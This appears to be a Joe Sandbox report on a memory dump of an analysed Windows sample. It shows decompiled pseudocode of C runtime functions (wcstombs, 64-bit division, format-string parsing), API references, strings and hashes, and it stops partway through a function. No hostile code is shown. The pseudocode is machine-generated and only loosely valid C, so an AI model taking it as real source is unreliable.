0x0043c618
0x0043c61e
0x0043c621
0x0043c624
0x0043c62b
0x0043c637
0x0043c63d
0x0043c643
0x0043c64a
0x0043c64c
0x0043c652
0x0043c652
0x0043c658
0x0043c658
0x0043c65e
0x0043c667
0x0043c66c
0x0043c66f
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x00000000
0x0043c5ec
0x0043c5de
0x0043c51b
0x0043c51b
0x0043c522
0x00000000
0x00000000
0x00000000
0x0043c550
0x0043c550
0x0043c556
0x0043c55c
0x0043c562
0x00000000
0x0043c562
0x0043c432
0x0043c3e3

APIs

_get_int64_arg.LIBCMTD ref: 0043C440
__aullrem.LIBCMT ref: 0043C610
__aulldiv.LIBCMT ref: 0043C632

Strings

', xrefs: 0043C3D9
9, xrefs: 0043C643

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction ID: 5a134a8de701bc37df843d1ed690b26d106262ea11b13436be9a252aeabf1aa0
Opcode Fuzzy Hash: 044c4e9475caa876993db0b7bf7609c54a9519c81704b3a31cc85cc1f6a62956
Instruction Fuzzy Hash: 224107B1E10129AFDB24CF48C981BAEB7B5FF89314F10559AD149BB241D738AE81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00437713, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437713(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B520(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E390();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00437180(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B520(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E390();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422E80(_t104))) = 0x22;
							E00422C10(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B520(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422E80(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422E80(0x7fffffff))) = 0x16;
				E00422C10(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x00437713
0x00437713
0x00437713
0x00437716
0x0043771d
0x00437734
0x0043773a
0x0043774a
0x0043774a
0x0043774d
0x0043773c
0x0043773c
0x00437742
0x00437742
0x00437760
0x00437765
0x00437765
0x0043776c
0x0043776e
0x00437771
0x00437771
0x0043777d
0x00437787
0x0043778a
0x0043777f
0x00437782
0x00437782
0x00437790
0x0043779b
0x0043779d
0x004377a0
0x004377a3
0x004377a5
0x004377aa
0x004377ac
0x004377b1
0x004377b6
0x004377b8
0x004377bd
0x004377c3
0x004377c5
0x004377c5
0x004377c3
0x004377ca
0x0043780b
0x0043780f
0x00437814
0x00437817
0x0043781a
0x0043781e
0x0043788a
0x0043788d
0x00437890
0x00437894
0x00437981
0x00437981
0x00437985
0x0043798d
0x0043798d
0x0043798f
0x00000000
0x0043798f
0x0043789d
0x004378a0
0x00437977
0x0043797a
0x0043797a
0x0043797d
0x00000000
0x0043797d
0x004378a6
0x004378aa
0x0043796a
0x0043796d
0x00437970
0x00000000
0x00437970
0x004378b3
0x004378b6
0x004378ba
0x004378bc
0x004378c3
0x004378c5
0x004378c9
0x004378d1
0x004378d7
0x004378e6
0x004378e6
0x004378e9
0x004378d9
0x004378d9
0x004378de
0x004378de
0x004378ec
0x004378f8
0x004378fc
0x00437901
0x00437901
0x004378c9
0x004378c3
0x00437904
0x00437907
0x0043790a
0x0043790e
0x00437911
0x00437913
0x00437918
0x0043791a
0x0043791f
0x00437924
0x00437926
0x0043792b
0x0043792e
0x00437931
0x00437933
0x00437933
0x00437931
0x00437934
0x00437938
0x00000000
0x0043793a
0x0043793f
0x0043795b
0x00437963
0x00000000
0x00437963
0x00437820
0x00437820
0x00437824
0x00437829
0x0043782c
0x00437830
0x00437832
0x00437839
0x0043783b
0x0043783f
0x00437847
0x0043784d
0x0043785d
0x0043785d
0x00437860
0x0043784f
0x0043784f
0x00437855
0x00437855
0x0043786f
0x0043786f
0x00437873
0x00437878
0x0043783f
0x00437839
0x00437830
0x00437880
0x00437992
0x00437995
0x00437995
0x0043781e
0x004377d1
0x004377ed
0x004377f5
0x00000000

APIs

_memset.LIBCMT ref: 00437760
__invalid_parameter.LIBCMTD ref: 004377ED

Strings

_wcstombs_s_l, xrefs: 004377E3
bufferSize <= INT_MAX, xrefs: 004377A5, 004377E8
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004377B1, 004377DE

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3961059608-322421350
Opcode ID: 607615eb1f4437edd54946b812e5dd4f1e4baed3f6ef04db0934c5b121aab246
Instruction ID: 76e1c875545a16778422124eb0d23a939b5dfe0298c91f9ea530e868ce0eeec4
Opcode Fuzzy Hash: 607615eb1f4437edd54946b812e5dd4f1e4baed3f6ef04db0934c5b121aab246
Instruction Fuzzy Hash: E421E0B0A04349DBDF30CF44CD41BAE37A1BB48714F20466EE8A42A3C0D779A940CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0043C3C6, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E0043C3C6(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					_t524 = __esi;
					_t523 = __edi;
					_t501 = __ebx;
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428390(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										L179:
										 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
										if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
											L183:
											__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L187:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L212;
													}
													L188:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	__edx = 0x20;
																	 *(__ebp - 0x14) = __dx;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																__eax = 0x2b;
																 *(__ebp - 0x14) = __ax;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__ecx = 0x2d;
															 *(__ebp - 0x14) = __cx;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CB00(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E0043CB40( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x44c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x4ac);
															__eax = E0043CB00(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) != 0) {
														L208:
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x24);
														__edx =  *(__ebp - 4);
														__eax = E0043CB40(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
														goto L209;
													} else {
														L201:
														__eflags =  *(__ebp - 0x24);
														if( *(__ebp - 0x24) <= 0) {
															goto L208;
														}
														L202:
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x4b0) =  *(__ebp - 4);
														__eax =  *(__ebp - 0x24);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
														while(1) {
															L203:
															__ecx =  *(__ebp - 0x4b4);
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
															__eflags = __ecx;
															if(__ecx <= 0) {
																break;
															}
															L204:
															__ecx = __ebp - 0x40;
															__eax = E0041AE60(__ebp - 0x40);
															__ecx = __ebp - 0x40;
															E0041AE60(__ebp - 0x40) =  *__eax;
															__ecx =  *(__ebp - 0x458 + 0xac);
															__edx =  *(__ebp - 0x4b0);
															__eax = __ebp - 0x458;
															 *(__ebp - 0x4b8) = E0043B5A0(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
															__eflags =  *(__ebp - 0x4b8);
															if( *(__ebp - 0x4b8) > 0) {
																L206:
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x458) & 0x0000ffff = E0043CAA0( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
																continue;
															}
															L205:
															 *(__ebp - 0x44c) = 0xffffffff;
															break;
														}
														L207:
														L209:
														__eflags =  *(__ebp - 0x44c);
														if( *(__ebp - 0x44c) >= 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
															__eflags =  *(__ebp - 0x10) & 0x00000004;
															if(( *(__ebp - 0x10) & 0x00000004) != 0) {
																__ecx = __ebp - 0x44c;
																__edx =  *(__ebp + 8);
																 *(__ebp - 0x4ac) = E0043CB00(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
															}
														}
													}
													L212:
													__eflags =  *(__ebp - 0x20);
													if( *(__ebp - 0x20) != 0) {
														__ecx =  *(__ebp - 0x20);
														__eax = L0041C550( *(__ebp - 0x20), 2);
														 *(__ebp - 0x20) = 0;
													}
													while(1) {
														L214:
														 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
														_t502 =  *(_t525 - 0x454) & 0x0000ffff;
														 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
														if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
															break;
														} else {
															if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
																 *(_t525 - 0x4d8) = 0;
															} else {
																 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
															}
														}
														L7:
														 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
														_t519 =  *(_t525 - 0x450) * 9;
														_t490 =  *(_t525 - 0x45c);
														_t510 = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e08) & 0x000000ff) >> 4;
														if( *(_t525 - 0x45c) != 8) {
															L16:
															 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
															__eflags =  *(_t525 - 0x4e0) - 7;
															if( *(_t525 - 0x4e0) > 7) {
																continue;
															}
															L17:
															switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C994))) {
																case 0:
																	L18:
																	 *(_t525 - 0xc) = 1;
																	E0043CAA0( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																	_t527 = _t527 + 0xc;
																	goto L214;
																case 1:
																	L19:
																	 *(__ebp - 0x2c) = 0;
																	__ecx =  *(__ebp - 0x2c);
																	 *(__ebp - 0x28) = __ecx;
																	__edx =  *(__ebp - 0x28);
																	 *(__ebp - 0x18) =  *(__ebp - 0x28);
																	__eax =  *(__ebp - 0x18);
																	 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																	 *(__ebp - 0x10) = 0;
																	 *(__ebp - 0x30) = 0xffffffff;
																	 *(__ebp - 0xc) = 0;
																	goto L214;
																case 2:
																	L20:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e4) = __ecx;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																	__eflags =  *(__ebp - 0x4e4) - 0x10;
																	if( *(__ebp - 0x4e4) > 0x10) {
																		goto L27;
																	}
																	L21:
																	_t57 =  *(__ebp - 0x4e4) + 0x43c9cc; // 0x498d04
																	__ecx =  *_t57 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M0043C9B4))) {
																		case 0:
																			goto L24;
																		case 1:
																			goto L25;
																		case 2:
																			goto L23;
																		case 3:
																			goto L22;
																		case 4:
																			goto L26;
																		case 5:
																			goto L27;
																	}
																case 3:
																	L28:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__edx =  *(__ebp - 0x18);
																		__edx =  *(__ebp - 0x18) * 0xa;
																		__eflags = __edx;
																		_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__ecx = __edx + _t81;
																		 *(__ebp - 0x18) = __ecx;
																	} else {
																		__edx = __ebp + 0x14;
																		 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x18);
																		if( *(__ebp - 0x18) < 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000004;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																			__ecx =  *(__ebp - 0x18);
																			__ecx =  ~( *(__ebp - 0x18));
																			 *(__ebp - 0x18) = __ecx;
																		}
																	}
																	L33:
																	goto L214;
																case 4:
																	L34:
																	 *(__ebp - 0x30) = 0;
																	goto L214;
																case 5:
																	L35:
																	__edx =  *(__ebp - 0x454) & 0x0000ffff;
																	__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																	if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																		__ecx =  *(__ebp - 0x30);
																		__ecx =  *(__ebp - 0x30) * 0xa;
																		__eflags = __ecx;
																		_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																		__eax = __ecx + _t92;
																		 *(__ebp - 0x30) = __ecx + _t92;
																	} else {
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) < 0) {
																			 *(__ebp - 0x30) = 0xffffffff;
																		}
																	}
																	goto L214;
																case 6:
																	L41:
																	__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																	 *(__ebp - 0x4e8) = __ecx;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																	__eflags =  *(__ebp - 0x4e8) - 0x2e;
																	if( *(__ebp - 0x4e8) > 0x2e) {
